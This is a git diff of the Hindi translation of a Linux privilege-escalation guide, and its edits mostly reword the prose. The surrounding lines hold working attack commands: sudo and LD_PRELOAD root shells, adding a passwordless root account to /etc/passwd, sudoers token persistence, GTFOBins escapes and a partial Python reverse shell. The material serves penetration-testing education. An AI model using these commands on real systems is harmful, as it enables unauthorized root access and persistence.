कम्युनिकेशन (IPC) सिस्टम** है जो अनुप्रयोगों को कुशलता से बातचीत करने और डेटा साझा करने में सक्षम बनाता है। आधुनिक लिनक्स सिस्टम को ध्यान में रखते हुए डिज़ाइन किया गया, यह विभिन्न प्रकार के अनुप्रयोग संचार के लिए एक मजबूत ढांचा प्रदान करता है। -यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक Bluetooth डेमन से आने वाली कॉल के बारे में एक संकेत एक संगीत प्लेयर को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि कॉल को सरल बनाता है, उन प्रक्रियाओं को सुव्यवस्थित करता है जो पारंपरिक रूप से जटिल थीं। +यह प्रणाली बहुपरकारी है, जो प्रक्रियाओं के बीच डेटा विनिमय को बढ़ाने के लिए बुनियादी IPC का समर्थन करती है, जो **सुधारित UNIX डोमेन सॉकेट्स** की याद दिलाती है। इसके अलावा, यह घटनाओं या संकेतों का प्रसारण करने में मदद करती है, जिससे सिस्टम घटकों के बीच निर्बाध एकीकरण को बढ़ावा मिलता है। उदाहरण के लिए, एक आने वाली कॉल के बारे में ब्लूटूथ डेमन से एक संकेत एक संगीत खिलाड़ी को म्यूट करने के लिए प्रेरित कर सकता है, जिससे उपयोगकर्ता अनुभव में सुधार होता है। इसके अतिरिक्त, D-Bus एक दूरस्थ ऑब्जेक्ट सिस्टम का समर्थन करता है, जो अनुप्रयोगों के बीच सेवा अनुरोधों और विधि आवाहनों को सरल बनाता है, पारंपरिक रूप से जटिल प्रक्रियाओं को सुगम बनाता है। -D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) को मिलाकर नीति नियमों के प्रभाव के आधार पर प्रबंधित करता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। +D-Bus एक **अनुमति/निषेध मॉडल** पर काम करता है, जो संदेश अनुमतियों (विधि कॉल, संकेत उत्सर्जन, आदि) का प्रबंधन करता है जो नीति नियमों के मिलन के संचयी प्रभाव के आधार पर होता है। ये नीतियाँ बस के साथ इंटरैक्शन को निर्दिष्ट करती हैं, जो इन अनुमतियों के शोषण के माध्यम से अधिकार बढ़ाने की अनुमति दे सकती हैं। `/etc/dbus-1/system.d/wpa_supplicant.conf` में ऐसी नीति का एक उदाहरण प्रदान किया गया है, जो रूट उपयोगकर्ता के लिए `fi.w1.wpa_supplicant1` से संदेश भेजने, प्राप्त करने और स्वामित्व रखने की अनुमति देती है। @@ -614,7 +614,7 @@ lsof -i ``` ### Open ports -हमेशा उस मशीन पर चल रहे नेटवर्क सेवाओं की जांच करें जिनसे आप पहले इंटरैक्ट नहीं कर सके: +हमेशा उस मशीन पर चल रहे नेटवर्क सेवाओं की जांच करें जिस पर आप पहले पहुंचने से पहले बातचीत नहीं कर सके: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" @@ -629,7 +629,7 @@ timeout 1 tcpdump ### Generic Enumeration -चेक करें **who** आप हैं, आपके पास कौन से **privileges** हैं, सिस्टम में कौन से **users** हैं, कौन से **login** कर सकते हैं और कौन से **root privileges** रखते हैं: +चेक करें **आप कौन हैं**, आपके पास कौन से **अधिकार** हैं, सिस्टम में कौन से **उपयोगकर्ता** हैं, कौन से **लॉगिन** कर सकते हैं और कौन से **रूट अधिकार** रखते हैं: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -कुछ Linux संस्करणों को एक बग से प्रभावित किया गया था जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\ +कुछ Linux संस्करण एक बग से प्रभावित थे जो **UID > INT_MAX** वाले उपयोगकर्ताओं को विशेषाधिकार बढ़ाने की अनुमति देता है। अधिक जानकारी: [यहाँ](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [यहाँ](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) और [यहाँ](https://twitter.com/paragonsec/status/1071152249529884674).\ **इसे एक्सप्लॉइट करें**: **`systemd-run -t /bin/bash`** ### Groups @@ -687,14 +687,14 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### Su Brute -यदि आप बहुत शोर करने की परवाह नहीं करते हैं और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ +यदि आपको बहुत शोर करने में कोई आपत्ति नहीं है और `su` और `timeout` बाइनरी कंप्यूटर पर मौजूद हैं, तो आप [su-bruteforce](https://github.com/carlospolop/su-bruteforce) का उपयोग करके उपयोगकर्ता को ब्रूट-फोर्स करने का प्रयास कर सकते हैं।\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) के साथ `-a` पैरामीटर भी उपयोगकर्ताओं को ब्रूट-फोर्स करने का प्रयास करता है। ## लिखने योग्य PATH का दुरुपयोग ### $PATH -यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ा सकते हैं जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं किया गया है** $PATH में। +यदि आप पाते हैं कि आप **$PATH के किसी फ़ोल्डर के अंदर लिख सकते हैं** तो आप **लिखने योग्य फ़ोल्डर के अंदर एक बैकडोर बनाने** के द्वारा विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं, जिसका नाम किसी कमांड के समान है जिसे किसी अन्य उपयोगकर्ता (आदर्श रूप से रूट) द्वारा निष्पादित किया जाएगा और जो **आपके लिखने योग्य फ़ोल्डर के पहले स्थित फ़ोल्डर से लोड नहीं किया गया है** $PATH में। ### SUDO और SUID @@ -720,13 +720,13 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में एक ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है। +इस उदाहरण में उपयोगकर्ता `demo` `root` के रूप में `vim` चला सकता है, अब रूट निर्देशिका में ssh कुंजी जोड़कर या `sh` को कॉल करके एक शेल प्राप्त करना तुच्छ है। ``` sudo vim -c '!sh' ``` ### SETENV -यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित करते समय: +यह निर्देश उपयोगकर्ता को **एक पर्यावरण चर सेट करने** की अनुमति देता है जबकि कुछ निष्पादित कर रहा है: ```bash $ sudo -l User waldo may run the following commands on admirer: @@ -809,7 +809,7 @@ system("/bin/bash"); cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -अंततः, **privileges को बढ़ाना** चलाते हुए +अंततः, **privileges बढ़ाएँ** चलाते हुए ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID बाइनरी – .so इंजेक्शन -जब किसी बाइनरी में **SUID** अनुमतियाँ असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही तरीके से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: +जब किसी बाइनरी में **SUID** अनुमतियाँ होती हैं जो असामान्य लगती हैं, तो यह सुनिश्चित करना एक अच्छा अभ्यास है कि यह **.so** फ़ाइलें सही ढंग से लोड कर रही है। इसे निम्नलिखित कमांड चलाकर जांचा जा सकता है: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` अंततः, प्रभावित SUID बाइनरी को चलाना एक्सप्लॉइट को ट्रिगर करना चाहिए, जिससे संभावित सिस्टम समझौता हो सके। -## Shared Object Hijacking +## साझा ऑब्जेक्ट हाइजैकिंग ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -892,9 +892,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) एक क्यूरेटेड सूची है Unix बाइनरीज़ की, जिन्हें एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप **केवल तर्कों को** एक कमांड में **इंजेक्ट** कर सकते हैं। +[**GTFOBins**](https://gtfobins.github.io) Unix बाइनरीज़ की एक चयनित सूची है जिसे एक हमलावर द्वारा स्थानीय सुरक्षा प्रतिबंधों को बायपास करने के लिए शोषित किया जा सकता है। [**GTFOArgs**](https://gtfoargs.github.io/) वही है लेकिन उन मामलों के लिए जहां आप **केवल तर्कों को** एक कमांड में इंजेक्ट कर सकते हैं। -यह प्रोजेक्ट उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करता है, जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। +यह प्रोजेक्ट उन Unix बाइनरीज़ के वैध फ़ंक्शंस को इकट्ठा करता है जिन्हें प्रतिबंधित शेल से बाहर निकलने, विशेषाधिकारों को बढ़ाने या बनाए रखने, फ़ाइलों को स्थानांतरित करने, बाइंड और रिवर्स शेल को स्पॉन करने, और अन्य पोस्ट-शोषण कार्यों को सुविधाजनक बनाने के लिए दुरुपयोग किया जा सकता है। > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -919,8 +919,8 @@ https://gtfoargs.github.io/ विशेषाधिकार बढ़ाने की आवश्यकताएँ: -- आपके पास पहले से ही "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है -- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह sudo टोकन की अवधि है जो हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देती है) +- आपके पास पहले से "_sampleuser_" उपयोगकर्ता के रूप में एक शेल है +- "_sampleuser_" ने **अंतिम 15 मिनट में कुछ निष्पादित करने के लिए `sudo` का उपयोग किया है** (डिफ़ॉल्ट रूप से, यह वह अवधि है जब sudo टोकन हमें बिना किसी पासवर्ड के `sudo` का उपयोग करने की अनुमति देता है) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 है - `gdb` सुलभ है (आप इसे अपलोड करने में सक्षम हो सकते हैं) @@ -939,7 +939,7 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- **तीसरा एक्सप्लॉइट** (`exploit_v3.sh`) **एक sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** +- तीसरा **शोषण** (`exploit_v3.sh`) एक **sudoers फ़ाइल बनाएगा** जो **sudo टोकन को शाश्वत बनाता है और सभी उपयोगकर्ताओं को sudo का उपयोग करने की अनुमति देता है** ```bash bash exploit_v3.sh sudo su @@ -973,7 +973,7 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि OpenBSD के लिए `doas`, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। +`sudo` बाइनरी के कुछ विकल्प हैं जैसे कि `doas` OpenBSD के लिए, इसकी कॉन्फ़िगरेशन `/etc/doas.conf` पर जांचना न भूलें। ``` permit nopass demo as root cmd vim ``` @@ -1057,8 +1057,8 @@ linux-capabilities.md ## निर्देशिका अनुमतियाँ -एक निर्देशिका में, **"कार्यान्वयन" के लिए बिट** का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ -**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइल** **बना** सकता है। +एक निर्देशिका में, **"कार्यान्वित"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता **"cd"** फ़ोल्डर में जा सकता है।\ +**"पढ़ने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** **बना** सकता है। ## ACLs @@ -1071,7 +1071,7 @@ setfacl -m u:kali:rw file.txt setfacl -b file.txt #Remove the ACL of the file ``` -**Get** files with specific ACLs from the system: +**Get** फ़ाइलें जिनमें विशेष ACL हैं सिस्टम से: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` @@ -1124,7 +1124,7 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\ -यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाओं की गणना की जा सकती है और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहां गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values @@ -1147,18 +1147,18 @@ Check **Valentine box from HTB** for an example. ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों से करेगा। +यह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **निजी** कुंजी के साथ लॉगिन करने का प्रयास करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा। ### ForwardAgent/AllowAgentForwarding -SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि आप अपने सर्वर पर कुंजियाँ (बिना पासफ्रेज़ के!) छोड़ दें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **जो** आपकी **प्रारंभिक होस्ट** में स्थित **कुंजी** का उपयोग कर रहा है। +SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने की अनुमति देता है बजाय इसके कि कुंजियाँ** (बिना पासफ्रेज़ के!) आपके सर्वर पर बैठी रहें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **जो** आपकी **प्रारंभिक होस्ट** में स्थित **कुंजी** का उपयोग कर रहा है। आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा: ``` Host example.com ForwardAgent yes ``` -ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। +ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, तो वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\ फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** कर सकती है (डिफ़ॉल्ट अनुमति है)। @@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md ### प्रोफाइल फ़ाइलें -फाइल `/etc/profile` और `/etc/profile.d/` के तहत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। +फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब कोई उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1214,7 +1214,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTE: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। +नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash @@ -1291,8 +1291,8 @@ Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalati ### Logs -यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी खोजने में सक्षम हो सकते हैं**। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\ -इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको ऑडिट लॉग के अंदर **पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, यह उतना ही दिलचस्प होगा (संभवतः)।\ +इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको **ऑडिट लॉग में पासवर्ड रिकॉर्ड करने** की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Logrotate exploitation -`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **रूट** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। +`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। > [!NOTE] > यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है @@ -1336,17 +1336,17 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s आप इस सुरक्षा कमी का लाभ [**logrotten**](https://github.com/whotwagner/logrotten) के साथ उठा सकते हैं। -यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिम्लिंक्स द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। +यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिमलिंक द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **सुरक्षा कमी संदर्भ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-` स्क्रिप्ट या यह एक मौजूदा स्क्रिप्ट को **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**। +यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-` स्क्रिप्ट या इसे **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड है**। नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, इन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। -मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ रूट के रूप में निष्पादित होता है**। +मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**। उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1360,7 +1360,7 @@ DEVICE=eth0 दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश किया गया एक नया **सेवा प्रबंधन** है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करता है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट्स अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। -**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन शुरू करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेज के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। +**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, और सिस्टम स्थिति स्नैपशॉट जैसी उन्नत सुविधाएँ प्रदान करता है। यह वितरण पैकेजों के लिए `/usr/lib/systemd/` और प्रशासक संशोधनों के लिए `/etc/systemd/system/` में फ़ाइलों को व्यवस्थित करता है, जिससे सिस्टम प्रशासन प्रक्रिया को सरल बनाया जा सके। ## अन्य तरकीबें @@ -1370,7 +1370,7 @@ DEVICE=eth0 nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### प्रतिबंधित शेल से बचना +### प्रतिबंधित शेल से भागना {{#ref}} escaping-from-limited-bash.md @@ -1382,12 +1382,12 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## कर्नेल सुरक्षा संरक्षण +## कर्नेल सुरक्षा सुरक्षा - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## अधिक सहायता +## अधिक मदद [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## संदर्भ -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- 